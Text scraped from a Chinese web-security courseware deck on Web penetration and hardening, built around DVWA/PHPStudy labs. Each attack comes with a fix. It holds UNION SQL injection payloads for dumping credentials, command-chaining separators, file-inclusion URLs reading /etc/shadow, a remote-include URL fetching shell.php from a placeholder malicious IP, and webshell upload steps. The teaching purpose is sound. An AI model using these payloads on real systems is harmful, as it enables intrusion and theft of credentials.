网络攻防项目实战 课件 洪顺进 项目三 Web渗透与加固_第1页
网络攻防项目实战 课件 洪顺进 项目三 Web渗透与加固_第2页
网络攻防项目实战 课件 洪顺进 项目三 Web渗透与加固_第3页
网络攻防项目实战 课件 洪顺进 项目三 Web渗透与加固_第4页
网络攻防项目实战 课件 洪顺进 项目三 Web渗透与加固_第5页
已阅读5页,还剩113页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

WEB渗透与加固3.1SQL注入漏洞利用与加固020301环境部署手工注入漏洞漏洞加固目录环境部署01环境部署1.打开VMwareWorkstation虚拟机软件,选择菜单栏中的“编辑”选项,在“VMnet信息”选区中勾选“NAT模式”,将DHCP服务设置子网Ip与子网掩码环境部署2.单击“NAT设置”按钮,在弹出的对话框中设置网关IP环境部署3.单击“DHCP设置”按钮,将设置起始IP地址与结束IP地址环境部署4.开启虚拟机后,单击“开始”按钮,在搜索框中输入“cmd”打开cmd终端命令行窗口,输入“ipconfig”命令查看本机网络信息登录账号:Administrator登录密码:A123456S.环境部署5.打开PhPStudy之后,开启软件自带的Apache服务器与MySQL数据库手工注入漏洞02SQL注入介绍就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。形成SQL注入漏洞的原因:1.用户输入不可控2.输入内容被带入SQL语句执行通过SQL注入可以对程序对应的数据存储区进行对应的探测。元数据库MySQL5.0以后版本中存在着一个元数据库information_schema,数据库中存储着用户在MySQL中创建的所有数据库的信息。在对PHP+MySQL的网站进行注入时,主要就是对information_schema数据库进行注入。4.24.03.63.5information_schema元数据库information_schema中比较重要的数据表 schemata:用于存放所有数据库的名字。 tables:用于存放所有数据库中的数据表的名字。(该表包含两个字段table_name和table_schema,分别记录DBMS中的存储的表名和表名所在的数据库。) columns:用于存放所有数据库的所有数据表中的所有字段的名字利用information_schema查看其他数据库的内容查看数据库中包含了哪些表selecttable_namefrominformation_schema.tables查看数据表中包含了哪些字段selectcolumn_namefrominformation_schema.columns判断注入点判断是否存在注入,注入是字符型还是数字型当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。判断注入点:

and1=1 and1=2 and‘1’=‘1(判断完存在注入可以用or构造永远为真的条件进行查询,列出当前表里所有信息)判断字段数量:

orderby?判断可显字段一条sql语句无法读取两个select,需利用union联合查询语句判断可显字段unionselect1,2,3,4,5MySQL中在执行联合查询时,后面的查询语句不需要指定表名,这点区别于ACCESS32/info_show.php?info_id=142unionselect1,2,3,4,5爆出敏感信息爆出当前用户名和数据库名

unionselect1,user(),database(),4,5爆出数据库中包含的数据表,通过group_concat()函数可以显示字段中的所有内容。unionselect1,group_concat(table_name),3,4,5frominformation_schema.tableswheretable_schema=‘*’(“*”代表之前用“database()”爆出的当前数据库名)

爆出敏感信息爆字段名,只有知道字段名,才能查询数据库中存储的数据。unionselect1,group_concat(column_name),3,4,5frominformation_schema.columnswheretable_name=‘*’(“*”代表之前之前爆出的当前数据库中存在的表名)爆用户名和密码unionselect1,username,password,4,5from*(“*”代表之前之前爆出的当前数据库中存在的表名)成功爆出用户名、密码后,密码采用md5进行加密,可以到/查询解密也可以利用unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题。漏洞加固03查找参数1.对于有些网站来说;URL中id参数的主要功能是进行页面的切换,而不需要输入除数字外的其他内容,因此只要将输入内容的类型做限制即可,查找出主目录文件中关于“id”的参数。漏洞加固2.使用is_numeric()函数验证id参数的内容是否为数字谢谢观看WEB渗透与加固3.2暴力破解漏洞利用与加固020301环境部署暴力破解漏洞利用暴力破解漏洞加固目录环境部署01环境部署1.打开VMwareWorkstation虚拟机软件,选择菜单栏中的“编辑”选项,在“VMnet信息”选区中勾选“NAT模式”,将DHCP服务设置子网Ip与子网掩码环境部署2.单击“NAT设置”按钮,在弹出的对话框中设置网关IP环境部署3.单击“DHCP设置”按钮,将设置起始IP地址与结束IP地址环境部署4.开启虚拟机后,单击“开始”按钮,在搜索框中输入“cmd”打开cmd终端命令行窗口,输入“ipconfig”命令查看本机网络信息登录账号:Administrator登录密码:A123456S.环境部署5.打开PhPStudy之后,开启软件自带的Apache服务器与MySQL数据库Burpsite环境配置6.选择“编辑系统环境变量”选项,在“高级”选项卡中单击“环境变量”按钮,再单击“新建”按钮创建一个名为“JAVA_HOME”的变量,并且将教学配套资源包中的“jdk”文件解压缩到“c:\jdk\”目录下Burpsite环境配置7.

在“环境变量”弹窗中,选择“Path”选项并对其进行编辑,在Path变量中新增一项内容,格式为“%JAVA_HOME%\bin”Burpsite环境配置8.在计算机桌面中按“Win+R”组合键,在打开的“运行”程序中输入“cmd”,打开cmd终端命令行窗口,继续输入“java-version”命令Burpsite配置Firefox代理配置暴力破解漏洞利用02暴力破解暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的。如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。漏洞利用1.设置interceptison2.在登录页面输入任意用户名密码漏洞利用1.设置interceptison2.在登录页面输入任意用户名密码漏洞利用3.在proxy的intercept模块中,观察拦截的数据包可以发现使用的账号与密码,在空白区域右击,在弹出的快捷菜单中选择“sendtointruder”命令漏洞利用4.设置attacktype的攻击类型,单击右上角的“Clear$”按钮,对获取的流量包进行处理,选中所需信息并单击右上角的“Add$”按钮漏洞利用1.sniper:狙击手,表示如果爆破点设置一个,simplelist如果是6个,就执行6次,如果爆破点设置两个,则执行12次,一般这个模式下只设置一个爆破点,因为如果用户名和密码都不知道的情况下不会使用该模式去爆破。通常用于在知道用户名后,对密码进行爆破。2.batteringram:工程锤,表示两个爆破点使用同一个play依次去执行,如果simplelist是6个,那么就执行6次。3.pitch-fork:叉子,这个模式下,表示两个爆破点,并且会设置两个payload1和payload2,payload1就设置给爆破点1,payload2就设置给爆破点2,总共也是执行6次。4.clusterbomb:集束炸弹,表示如果有两个爆破点,同时设置两个payload1,和payload2,simplelist是6个和7个,那么就会执行一个笛卡尔积的次数。即就是42次。漏洞利用5.设置simplelist内容后,点击attack漏洞利用6.按字长排序,会出现一个不一样的,这个就是密码漏洞加固03漏洞加固为了应对暴力破解中的多次尝试登录行为,在此对登录次数做出限制。通过创建一个表来记录用户登录信息,之后每次登录都先从当前表中查询最近30分钟内有无错误登录信息,再对登录页面进行代码设置谢谢观看WEB渗透与加固3.3命令注入漏洞利用与加固目录020301环境部署命令注入漏洞利用命令注入漏洞加固环境部署01环境部署1.打开VMwareWorkstation虚拟机软件,选择菜单栏中的“编辑”选项,在“VMnet信息”选区中勾选“NAT模式”,将DHCP服务设置子网Ip与子网掩码环境部署2.单击“NAT设置”按钮,在弹出的对话框中设置网关IP环境部署3.单击“DHCP设置”按钮,将设置起始IP地址与结束IP地址环境部署4.开启虚拟机后,单击“开始”按钮,在搜索框中输入“cmd”打开cmd终端命令行窗口,输入“ipconfig”命令查看本机网络信息登录账号:Administrator登录密码:A123456S.环境部署5.打开PhPStudy之后,开启软件自带的Apache服务器与MySQL数据库命令注入漏洞利用02命令注入命令注入漏洞是危害巨大的漏洞,一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后后台会对该IP地址进行一次ping测试并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,让后台进行执行,从而获得后台服务器权限。命令注入漏洞产生接收到的内容被直接带入到shell_exec命令中执行。命令注入windowscmd命令介绍执行ping&&ipconfig执行ping&ipconfig执行ping||ipconfig执行ping|ipconfig执行ping;ipconfig查看命令执行效果有什么不同?&&表示前面命令执行成功了才执行后面的命令&表示无论前面命令执行是否成功都执行后面的命令||表示前面命令执行失败才执行后面的命令|表示无论前面命令执行是否成功都执行后面的命令;表示无论前面命令执行是否成功都执行后面的命令命令注入命令注入漏洞加固03命令注入漏洞加固调用array_keys()函数,并使用array()函数对输入的内容进行限制谢谢观看WEB渗透与加固3.4文件包含漏洞利用与加固目录020301环境部署文件包含漏洞利用文件包含漏洞加固环境部署01环境部署1.打开VMwareWorkstation虚拟机软件,选择菜单栏中的“编辑”选项,在“VMnet信息”选区中勾选“NAT模式”,将DHCP服务设置子网Ip与子网掩码环境部署2.单击“NAT设置”按钮,在弹出的对话框中设置网关IP环境部署3.单击“DHCP设置”按钮,将设置起始IP地址与结束IP地址环境部署4.开启虚拟机后,单击“开始”按钮,在搜索框中输入“cmd”打开cmd终端命令行窗口,输入“ipconfig”命令查看本机网络信息登录账号:Administrator登录密码:A123456S.环境部署5.打开PhPStudy之后,开启软件自带的Apache服务器与MySQL数据库文件包含漏洞利用02文件包含漏洞程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这个文件调用过程被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHPWebApplication中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。文件包含函数常见的包含函数PHPinclude(),include_once(),require_once(),fopen(),readfile()jsp/Servletava.io.file(),java.io.filereader()aspincludefile,includevirtualinclude():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本include_once()和require_once():若文件中代码已被包含则不会再次包含文件包含漏洞利用文件包含漏洞的产生存在include()这个函数的PHP代码网页,用‘page’等字符来当接受值。在同目录下,创建一个txt文件,通过include()这个函数PHP代码来处理。文件包含漏洞的产生远程包含,要保证php.ini中allow_url_fopen和allow_url_include要为On,也就是打开状态。文件包含漏洞的产生本地文件包含读取敏感文件http://ip/dvwa/vulnerabilities/fi/page=/etc/shadowhttp://ip/dvwa/vulnerabilities/fi/page=C:\xampp\htdocs\dvwa\php.inihttp://ip/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini文件包含漏洞的产生当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行。代码文件shell.php<?php PHP代码?>构造远程urlhttp://ip/dvwa/vulnerabilities/fi/page=http://恶意ip/shell.php这里shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。文件包含漏洞加固03文件包含漏洞加固写入IF语句,判断$file变量,不包含include等php文件谢谢观看WEB渗透与加固3.5文件上传漏洞利用与加固目录020301环境部署文件上传漏洞利用文件上传漏洞加固环境部署01环境部署1.打开VMwareWorkstation虚拟机软件,选择菜单栏中的“编辑”选项,在“VMnet信息”选区中勾选“NAT模式”,将DHCP服务设置子网Ip与子网掩码环境部署2.单击“NAT设置”按钮,在弹出的对话框中设置网关IP环境部署3.单击“DHCP设置”按钮,将设置起始IP地址与结束IP地址环境部署4.开启虚拟机后,单击“开始”按钮,在搜索框中输入“cmd”打开cmd终端命令行窗口,输入“ipconfig”命令查看本机网络信息登录账号:Administrator登录密码:A123456S.环境部署5.打开PhPStudy之后,开启软件自带的Apache服务器与MySQL数据库环境部署6.将教学配套资源包中的中国蚁剑主程序安装包“antSword.zip”解压缩到“E:\dev_runApp\security\antsword\antSword-master”目录下环境部署7.将教学配套资源包中的中国蚁剑加载器安装包解压缩,双击“AntSword.exe”快捷方式启动主程序,在第一次启动时需要设置工作目录,单击“初始化”按钮,选择主程序所在的根目录文件上传漏洞利用02文件上传漏洞文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。文件上传校验方法客户端校验1.通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式2.判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。服务器端校验1.校验请求头content-type字段,例如用PHP检测通过自己写正则匹配来判断文件幻数(文件头)内容是否符合要求,一般来说属于白名单的检测,常见的文件头(文件头标志位)如下.JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00).gif,”GIF89A”(474946383961)2.文件加载检测:一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传3.WAF校验,即使用不同的WAF产品来进行过滤,通常是独立与服务程序的一段中间程序或者硬件文件上传漏洞利用ASP网页的常用一句话木马PHP网页的常用一句话木马文件上传漏洞利用1.点击“选择文件”按钮,选择写入一句话木马的文件并上传。2.上传成功后显示文件位置文件上传漏洞利用3.通过构造URL判断上传到服务器的木马位置,使用中国菜刀连接一句话木马文件上传漏洞利用5.获取靶机控制权限文件上传漏洞加固03文件上传漏洞加固1.在“upload_file.ph

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论